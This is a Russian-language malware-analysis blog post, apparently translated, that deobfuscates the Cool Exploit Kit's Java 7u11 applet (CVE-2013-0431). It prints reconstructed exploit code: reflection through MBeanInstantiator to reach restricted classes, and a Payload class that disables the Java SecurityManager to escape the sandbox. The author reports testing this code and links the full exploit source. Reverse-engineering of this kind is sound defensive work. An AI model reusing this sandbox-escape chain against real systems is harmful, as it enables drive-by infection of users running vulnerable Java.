09.05.2013

Деобфускация эксплоита Java 7u11 из пакета Cool Exploit Kit (CVE-2013-0431)

image

@EKWatcher заметил, что в пакете Cool Exploit Kit используется уязвимость, найденная в Java 7 update 11 (CVE-2013-0431). Об уязвимости уже сообщили в Security Explorations спустя несколько дней после того, как компания Oracle выпустила обновление 11.

Автор: Security Obscurity

@EKWatcher заметил, что в пакете Cool Exploit Kit используется уязвимость, найденная в Java 7 update 11 (CVE-2013-0431).

Об уязвимости уже сообщили в Security Explorations спустя несколько дней после того, как компания Oracle выпустила обновление 11.

Решив взглянуть на этот эксплоит, я нашел вебсайт, инфицированный Cool EK, когда после успешного использования уязвимости в папку "C:\Documents and Settings\<username>\Application Data" в Windows XP был помещен троян Reveton.

Апплет, используемый Cool EK, носит имя would-blood.jar. Я открыл его в JD-GUI (см. скриншот ниже):

Как видите, апплет обфусцирован, не так сильно, но обфусцирован. Начиная деобфускацию, во-первых необходимо найти в апплете функцию init(), являющуюся «точкой отсчета», которая не может быть изменена. Для сериализованных апплетов (serialized applets) точкой отсчета является фукнция start() вместо init().

Функция init находится внутри класса hw.

Тут же становится очевидным, что все символы в строках переставлены задом наперед. К примеру, если перевернуть строку txetnoC.lanretni.tpircsavaj.allizom.gro.nus, то получим sun.org.mozilla.javascript.internal.Context. Скорее всего, функция pah переворачивает строку.

Теперь рассмотрим функцию bug.

Функция bug получает экземпляр класса MBeanInstantiator, связанный с MBeanServer, а затем вызывает функцию rue2.

Далее при помощи механизма отражения вызывается метод findClass, который ищет и возвращает объект определенного класса (sun.org.mozilla.javascript.internal.Context).

Учитывая это, мы может удалить функцию pah и объединить в bug и rue2 в одну функцию с именем GimmeClass.

private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException
{
Object obj = null;
JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true);
MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator();

Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator");
Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class });
return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj });
}

Теперь вновь вернемся к функции init. В строке 76 вызывается функция lot, и поскольку возвращается объект типа Method, полагаю, что внутри функции происходит поиск метода.

Как и ожидалось, функция ищет public-метод внутри класса, задаваемого в строковом параметре s. Вместо имени lot для лучшей читабельности назовем нашу функцию getMethod.

private Method getMethod(Class class1, String s, boolean flag)
{
try {
Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods");
Method[] amethod1 = amethod;

for (int i = 0; i < amethod1.length; i++) {
Method method = amethod1[i];
String s1 = method.getName();
Class[] aclass = method.getParameterTypes();
if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method;
}
} catch (Exception localException) { }

return null;
}

В строке 77 происходит вызов найденного метода. Строки 78 и 79 идентичны двум предыдущим. В строке 82 инициализируется массив байтов (abyte0).

Эта инструкция вызывает два метода: первый – член класса getString4Popers, второй – член класса codehex. Рассмотрим метод one. После объявления 16 строковых переменных (а в целом 127 строковых переменных) и соединении их друг с другом вызывается метод gouerpyftn, член класса BurkinoGoso.

Итоговая строка передается как параметр в метод gouerpyftn. Как вы можете видеть из скриншота ниже, значение переменной str станет значением переменной str1 внутри функции gouerpyftn.

Переменные str3 и str4, по сути, являются мусором и никогда не используются. Инструкция в строке 13, используя механизм отражения, вызывает метод charAt из пакета java.lang.String.

Вот логика работы этой функции: (я попытаюсь объяснить механизм ее работы через псевдокод)

// encodedString равно paramString
encodedStrign = "F-Abr-rb((((((}g((Ar(-(((8((0r(8((}}((0F(^((0z(- ..."
// keyString равно str1 (getString.getKkkk())
keyString = "b12gO6%oh3}lfs98^mYauL5{qiy)RKpk40(VXBrtW&DzCFA-JndU_eZwTNHc+7QMx*vIPSGE"

for( i = 0; i < encodedString.length; i++ )
c = encodedString.charAt(i);
j = keyString.indexOf( c )
Если c находится внутри keyString

Если c не находится на первой позиции
Взять символ из keyString на позиции j-1
Присоединить к finalString
иначе
Взять символ из keyString на позиции keyString.length-1
Присоединить finalString
иначе
взять символ из encodedString на позиции i
присоединить к finalString

endfor;

Возвращаем finalString

В конце цикла переменная str2/finalString будет примерно такой:

Глядя на первые восемь символов вы можете догадаться, что это за строка, поскольку CAFEBABE является шестнадцатеричным представлением заголовка байт кода Java файлов классов.

Однако ранее мы обнаружили инструкцию, которая инициализирует массив байтов (abyte0). На самом деле, как можно предположить из названия, метод decodeH, член класса codehex, конвертирует шестнадцатеричную строку в массив байтов.  

Строки 8-19 опять же, по сути, являются мусором, и мы можем смело удалить их. Для того чтобы узнать какой код содержит класс, мы должны создать новый файл newfile.class, добавить туда этот код, а затем открыть его при помощи JD-GUI.

Однако JD-GUI терпит неудачу при декомпиляции файла класса, что было для меня неожиданно. Попробуем открыть файл в шестнадцатеричном редакторе Winhex.

По начальным байтам мы понимаем, что это файл класса. Меняя режим просмотра на текстовый, мы может понять предположительный механизм работы класса.

Прокручивая вниз, видим интересную строку:

Теперь понятно, что файл класса обфусцирован при помощи Zelik Klassmater 5.4.5, который был доступен с марта 2011 года по июнь 2011 года. Я не знаю, происходит ли в процессе обфускации подделка версии. По крайней мере, не могу быть уверен в этом на 100%.

Еще одна интересная строка:

Так что же нам делать дальше? Попробуем скормить наш файл jad, еще одному java-декомпилятору.

Большая часть файла успешно дизассемблирована, однако если вы взгляните на конструктор класса, то увидите, что используется механизм отражения для вызова какого-то метода внутри класса. Оба имени зашифрованы функцией xor, вызываемой из статического поля во время инициализации класса.

Как видно из скриншота выше, некоторые методы декомпилировались некорректно. Кажется, что Zelix использовался в связке с агрессивной обфускацией, изменяющей ход выполнения программы (flow obfuscation), возможно именно из-за этого jad не смог полностью декомпилировать файл класса.

В процессе поиска в гугле методов деобфускации файлов, зашифрованных Zelix Klassmaster, я нашел прекрасный пост, автором которого является @robert_c_larsen. В посте объясняется, как дешифровать эти строки. Первое, что нужно сделать, - дизассемблировать обфусцированный файл при помощи jad, для того, чтобы получить только jvm-инструкции.

Теперь нам нужно раскрыть логику работы этих инструкций. Я буду объяснять только самые важные моменты (более подробную информацию вы можете получить в статье Роберта). Из листинга, показанного ниже, становится ясно, что строка помещается в стек, а затем передается в подпрограмму дешифровки.

Подпрограмма дешифровки начинается с инструкции 132. Внутри нее происходит преобразование строки в массив символов.

В итоге у нас получается массив из пяти элементов. Далее инструкции 184-204 помещают в стек пять целочисленных значений (которые являются ключами массива), а затем выполняется операция xor.

Теперь мы может восстановить наш код.

По каким-то странным причинам из-за некорректной подсветки синтаксиса я не могу скопировать код сюда, который буду изучать.

Ссылка на класс в сервисе pastebin

Запускаем код и… вуаля. Все строки расшифрованы.

Я переименовал имя javaRun в Payload

public class Payload implements PrivilegedExceptionAction
{

public Payload()
{
try
{
Class.forName("java.security.AccessController").getMethod("doPrivileged", new Class[] { Class.forName("java.security.PrivilegedExceptionAction")
}).invoke(Class.forName("java.security.AccessController"), new Object[] {
this
});

}
catch(Exception exception) { }
}

public Object run() throws Exception
{ System.setSecurityManager(null);
return null;
}

public static void outSandbox() throws Exception
{
Runtime.getRuntime().exec("calc.exe");
}
}

Вместо запуска калькулятора внутри функции run, я создал новую функцию outSandox для лучшей читаемости кода.

Возвращаемся к функции init(). Инструкции в строках 84, 85, 86 вызывают те же самые методы, которые мы рассмотрели ранее. Инструкция в строке 89, по-видимому, возвращает путь к jar-файлу. Инструкции в строках 90 и 91 вызывают конструктор класса Payload для создания его экземпляра.

Я немного модифицировал первоначальный код.

Исходный код эксплоита Java 7u11

Теперь мы закончили и можем протестировать эксплоит.

Все работает. Этот код можно модифицировать, но оставил все как есть. Вместо деобфускации этого апплета Kafeine сказал мне, я мог исследовать некоторые вещи, которые необфусцированы. Единственное, что могу сказать, - это дурное предзнаменование.

Надеюсь, вам понравилась эта статья.

Если вы хотите ознакомиться более подробно с анализом этой уязвимости, прочитайте пост Хуана Васкеса (Juan Vazquez), сотрудника компании Rapid7.

Ссылки:

или введите имя

CAPTCHA